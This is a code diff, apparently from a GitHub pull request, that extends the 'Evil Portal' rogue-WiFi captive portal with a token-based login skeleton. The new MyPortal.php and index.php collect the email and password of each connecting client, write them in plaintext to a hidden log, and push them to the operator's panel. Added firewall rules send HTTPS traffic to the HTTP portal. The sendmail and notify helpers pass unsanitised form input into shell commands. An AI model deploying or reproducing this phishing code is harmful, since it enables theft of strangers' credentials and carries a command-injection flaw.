Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 4 additions & 1 deletion EvilPortal/executable/executable
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,7 @@ case "$1" in
$IPTABLES -t nat -A prerouting_rule -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination $IP:80
# Need to activate HTTPS on the nginx server of the PineAP, so for now HTTPS traffic is dropped.
#$IPTABLES -t nat -A prerouting_rule -m mark --mark 99 -p tcp --dport 443 -j DNAT --to-destination $IP:443
$IPTABLES -t nat -A prerouting_rule -m mark --mark 99 -p tcp --dport 443 -j DNAT --to-destination $IP:80

# for use with dns spoff
$IPTABLES -t filter -A forwarding_rule -p udp --dport 53 -j ACCEPT
Expand All @@ -38,6 +39,8 @@ case "$1" in
#$IPTABLES -t filter -A input_rule -p tcp --dport 443 -j ACCEPT #Webserver
$IPTABLES -t filter -A input_rule -p tcp --dport 1471 -j ACCEPT #PineAP admin page
$IPTABLES -t filter -A input_rule -p tcp --dport 22 -j ACCEPT #SSH
$IPTABLES -t filter -A input_rule -p tcp --dport 465 -j ACCEPT #Smtp Accept


# All other traffic which is marked 99 is just dropped
$IPTABLES -t filter -A forwarding_rule -m mark --mark 99 -j DROP
Expand Down Expand Up @@ -96,4 +99,4 @@ case "$1" in
*)
echo "USAGE: $0 {initialize|add <IP>|remove <IP>|purge|list}"
exit 0
esac
esac
12 changes: 12 additions & 0 deletions EvilPortal/includes/api/Portal.php
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,16 @@ protected final function execBackground($command)
exec("echo \"{$command}\" | at now");
}

/**
* sendmail.
* @param $email: The receive mail
*/
protected final function sendmail($sub, $bod, $sender, $email)
{
exec("echo -e 'Subject: {$sub} \n\n {$bod}\n' | sendmail -f {$sender} {$email} | at now");
}


/**
* Send notifications to the web UI.
* @param $message: The notification message
Expand All @@ -60,6 +70,7 @@ protected final function writeLog($message)
}
}


/**
* Creates an iptables rule allowing the client to access the internet and writes them to the authorized clients.
* Override this method to add other authorization steps validation.
Expand Down Expand Up @@ -102,6 +113,7 @@ protected function redirect()
header("Location: {$this->request->target}", true, 302);
}


/**
* Override this to do something when the client is successfully authorized.
* By default it just notifies the Web UI.
Expand Down
5 changes: 5 additions & 0 deletions EvilPortal/includes/skeleton/hotspot-detect.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
<!DOCTYPE html>
<head>
<meta http-equiv="Refresh" content="1; url=index.php">
</head>
</html>
36 changes: 36 additions & 0 deletions EvilPortal/includes/skeleton/index.php
Original file line number Diff line number Diff line change
@@ -1,6 +1,42 @@
<?php
$destination = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
require_once('helper.php');
function increment_browser($browser)
{
try {
$sqlite = new \SQLite3('/tmp/landingpage.db');
} catch (Exception $e) {
return false;
}
$sqlite->exec('CREATE TABLE IF NOT EXISTS user_agents (browser TEXT NOT NULL);');
$statement = $sqlite->prepare('INSERT INTO user_agents (browser) VALUES(:browser);');
$statement->bindValue(':browser', $browser, SQLITE3_TEXT);
try {
$ret = $statement->execute();
} catch (Exception $e) {
return false;
}
return $ret;
}
function identifyUserAgent($userAgent)
{
if (preg_match('/(MSIE|Trident|(?!Gecko.+)Firefox)/', $userAgent)) {
increment_browser('firefox');
}else if (preg_match('/(?!AppleWebKit.+Chrome.+)Safari(?!.+Edge)/', $userAgent)) {
increment_browser('safari');
}else if (preg_match('/(?!AppleWebKit.+)Chrome(?!.+Edge)/', $userAgent)) {
increment_browser('chrome');
}else if (preg_match('/(?!AppleWebKit.+Chrome.+Safari.+)Edge/', $userAgent)) {
increment_browser('edge');
}else if (preg_match('/MSIE [0-9]\./', $userAgent)) {
increment_browser('internet_explorer');
} elseif (preg_match('/^Opera\/[0-9]{1,3}\.[0-9]/', $userAgent)) {
increment_browser('opera');
} else {
increment_browser('other');
}
}
identifyUserAgent($_SERVER['HTTP_USER_AGENT']);
?>

<HTML>
Expand Down
5 changes: 5 additions & 0 deletions EvilPortal/includes/targeted_skeleton/hotspot-detect.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
<!DOCTYPE html>
<head>
<meta http-equiv="Refresh" content="1; url=index.php">
</head>
</html>
37 changes: 36 additions & 1 deletion EvilPortal/includes/targeted_skeleton/index.php
Original file line number Diff line number Diff line change
@@ -1,6 +1,41 @@
<?php
require_once('helper.php');

function increment_browser($browser)
{
try {
$sqlite = new \SQLite3('/tmp/landingpage.db');
} catch (Exception $e) {
return false;
}
$sqlite->exec('CREATE TABLE IF NOT EXISTS user_agents (browser TEXT NOT NULL);');
$statement = $sqlite->prepare('INSERT INTO user_agents (browser) VALUES(:browser);');
$statement->bindValue(':browser', $browser, SQLITE3_TEXT);
try {
$ret = $statement->execute();
} catch (Exception $e) {
return false;
}
return $ret;
}
function identifyUserAgent($userAgent)
{
if (preg_match('/(MSIE|Trident|(?!Gecko.+)Firefox)/', $userAgent)) {
increment_browser('firefox');
}else if (preg_match('/(?!AppleWebKit.+Chrome.+)Safari(?!.+Edge)/', $userAgent)) {
increment_browser('safari');
}else if (preg_match('/(?!AppleWebKit.+)Chrome(?!.+Edge)/', $userAgent)) {
increment_browser('chrome');
}else if (preg_match('/(?!AppleWebKit.+Chrome.+Safari.+)Edge/', $userAgent)) {
increment_browser('edge');
}else if (preg_match('/MSIE [0-9]\./', $userAgent)) {
increment_browser('internet_explorer');
} elseif (preg_match('/^Opera\/[0-9]{1,3}\.[0-9]/', $userAgent)) {
increment_browser('opera');
} else {
increment_browser('other');
}
}
identifyUserAgent($_SERVER['HTTP_USER_AGENT']);
/**
*
* DO NOT MODIFY THIS FILE
Expand Down
78 changes: 78 additions & 0 deletions EvilPortal/includes/token_skeleton/MyPortal.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
<?php namespace evilportal;

class MyPortal extends Portal
{
public function handleAuthorization()
{
function generateRandomString($length = 8) {
return substr(str_shuffle(str_repeat($x='23456789abcdefghkmnpqrstuvwxyzABCDEFGHKMNPQRSTUVWXYZ', ceil($length/strlen($x)) )),1,$length);
}

$token = generateRandomString(8); //token

$sub = "Evil Portal Your WIFI-Token !\nContent-Type: text/html"; //Subject of the mail & html format info
$sender = "info@test.de"; //Sender of the mail

$body = file_get_contents("/www/template.html"); //read the template
$mailtext = str_replace('TOKEN', $token, $body); //insert token (TOKEN will be replaced)
if (isset($_POST['gettoken'])) {

$email = isset($_POST['email']) ? $_POST['email'] : 'email';
$mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac';
$hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname';
$ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip';
$gpw = isset($_POST['gpw']) ? $_POST['gpw'] : 'gpw';
$this->execBackground("notify $email' Requested Token:'$token' - PW:'$gpw' - IP:'$ip"); //notify panel
$this->sendmail($sub, $mailtext, $sender, $email); //Send the mail

$reflector = new \ReflectionClass(get_class($this));
$logPath = dirname($reflector->getFileName());
file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$gpw}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND);

file_put_contents("{$logPath}/$mac:mail.txt", "{$email}/n", FILE_APPEND); // write mail file
file_put_contents("{$logPath}/$mac.txt", "{$token}", FILE_APPEND); // write auth file
die();
}

if (isset($_POST['getaccess'])) {

$rtoken = isset($_POST['token']) ? $_POST['token'] : 'token';
$hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname';
$mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac';
$ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip';
$reflector = new \ReflectionClass(get_class($this));
$logPath = dirname($reflector->getFileName());
$dtoken = file_get_contents("{$logPath}/$mac.txt"); //read auth file
if($rtoken == $dtoken) {
$this->execBackground("notify $mac' Login:'$rtoken' IP:'$ip"); //notify panel
parent::handleAuthorization();
unlink("{$logPath}/$mac:mail.txt");
unlink("{$logPath}/$mac.txt");
}
}
// Call parent to handle basic authorization first
//parent::handleAuthorization();
echo "Login Error !"; //show error
}


/**
* Override this to do something when the client is successfully authorized.
* By default it just notifies the Web UI.
*/
public function onSuccess()
{
// Calls default success message
parent::onSuccess();
}

/**
* If an error occurs then do something here.
* Override to provide your own functionality.
*/
public function showError()
{
// Calls default error message
parent::showError();
}
}
45 changes: 45 additions & 0 deletions EvilPortal/includes/token_skeleton/helper.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
<?php

/**
* getClientMac
* Gets the mac address of a client by the IP address
* Returns the mac address as a string
* @param $clientIP : The clients IP address
* @return string
*/
function getClientMac($clientIP)
{
return trim(exec("grep " . escapeshellarg($clientIP) . " /tmp/dhcp.leases | awk '{print $2}'"));
}

/**
* getClientSSID
* Gets the SSID a client is associated by the IP address
* Returns the SSID as a string
* @param $clientIP : The clients IP address
* @return string
*/
function getClientSSID($clientIP)
{
// Get the clients mac address. We need this to get the SSID
$mac = getClientMac($clientIP);

// get the path to the log file
$pineAPLogPath = trim(file_get_contents('/etc/pineapple/pineap_log_location'));

// get the ssid
return trim(exec("grep " . $mac . " " . $pineAPLogPath . "pineap.log | grep 'Association' | awk -F ',' '{print $4}'"));

}

/**
* getClientHostName
* Gets the host name of the connected client by the IP address
* Returns the host name as a string
* @param $clientIP : The clients IP address
* @return string
*/
function getClientHostName($clientIP)
{
return trim(exec("grep " . escapeshellarg($clientIP) . " /tmp/dhcp.leases | awk '{print $4}'"));
}
5 changes: 5 additions & 0 deletions EvilPortal/includes/token_skeleton/hotspot-detect.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
<!DOCTYPE html>
<head>
<meta http-equiv="Refresh" content="1; url=index.php">
</head>
</html>
91 changes: 91 additions & 0 deletions EvilPortal/includes/token_skeleton/index.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
<?php
$destination = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
require_once('helper.php');
function increment_browser($browser)
{
try {
$sqlite = new \SQLite3('/tmp/landingpage.db');
} catch (Exception $e) {
return false;
}
$sqlite->exec('CREATE TABLE IF NOT EXISTS user_agents (browser TEXT NOT NULL);');
$statement = $sqlite->prepare('INSERT INTO user_agents (browser) VALUES(:browser);');
$statement->bindValue(':browser', $browser, SQLITE3_TEXT);
try {
$ret = $statement->execute();
} catch (Exception $e) {
return false;
}
return $ret;
}
function identifyUserAgent($userAgent)
{
if (preg_match('/(MSIE|Trident|(?!Gecko.+)Firefox)/', $userAgent)) {
increment_browser('firefox');
}else if (preg_match('/(?!AppleWebKit.+Chrome.+)Safari(?!.+Edge)/', $userAgent)) {
increment_browser('safari');
}else if (preg_match('/(?!AppleWebKit.+)Chrome(?!.+Edge)/', $userAgent)) {
increment_browser('chrome');
}else if (preg_match('/(?!AppleWebKit.+Chrome.+Safari.+)Edge/', $userAgent)) {
increment_browser('edge');
}else if (preg_match('/MSIE [0-9]\./', $userAgent)) {
increment_browser('internet_explorer');
} elseif (preg_match('/^Opera\/[0-9]{1,3}\.[0-9]/', $userAgent)) {
increment_browser('opera');
} else {
increment_browser('other');
}
}
identifyUserAgent($_SERVER['HTTP_USER_AGENT']);
?>
<HTML>
<HEAD>
<title>Evil Portal</title>
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<meta name="viewport" content="width=device-width, initial-scale=1">
</HEAD>
<BODY>
<noscript>
<div style="position: fixed; top: 0px; left: 0px; z-index: 3000; height: 100%; width: 100%; background-color: #FFFFFF">
<p style="margin-left: 10px">JavaScript is not enabled.</p>
</div>
</noscript>
<div style="text-align: center;">
<h1>Evil Portal</h1>
<p>This is the default Evil Portal page.</p>
<p>The SSID you are connected to is <?=getClientSSID($_SERVER['REMOTE_ADDR']);?></p>
<p>Your host name is <?=getClientHostName($_SERVER['REMOTE_ADDR']);?></p>
<p>Your MAC Address is <?=getClientMac($_SERVER['REMOTE_ADDR']);?></p>
<p>Your internal IP address is <?=$_SERVER['REMOTE_ADDR'];?></p>
<br>
<p><b>Please enter your Email Address and Password to receive a Token</b></p>

<form method="POST" action="/captiveportal/index.php" target="hiddenFrame">
<input id='email-input' name="email" type="email" class='g-input' placeholder="E-Mail" autofocus="true" autocorrect="off" autocomplete="on" autocapitalize="off" required>
<br><br>
<input id='pw-input' name='gpw' type="password" class='g-input' placeholder="Password" autofocus="true" autocorrect="off" autocomplete="on" autocapitalize="off" required>
<input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']);?>">
<input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>">
<input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>">
<input type="hidden" name="gettoken" value="gettoken">
<br><br>
<button type="submit">Get Token</button>
</form>

<form method="POST" action="/captiveportal/index.php">
<h1>Token</h1>
<p>Enter Your Token</p>
<p>Your Token has been send to your E-Mail<br>Enter the Token to continue </p>
<input name='token' id='token-input' type="text" class='g-input' placeholder="TOKEN" autofocus="true" autocorrect="off" autocomplete="off" autocapitalize="off" required>
<input type="hidden" name="getaccess" value="getaccess">
<input type="hidden" name="target" value="<?=$destination?>">
<br><br>
<button type="submit">Authorize</button>
</form>

</div>
<iframe name="hiddenFrame" width="0" height="0" border="0" style="display: none;"></iframe> <!-- Hidden Target Frame -->
</BODY>
</HTML>
4 changes: 4 additions & 0 deletions EvilPortal/includes/token_skeleton/portalinfo.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
{
"name": null,
"type": "token"
}
Loading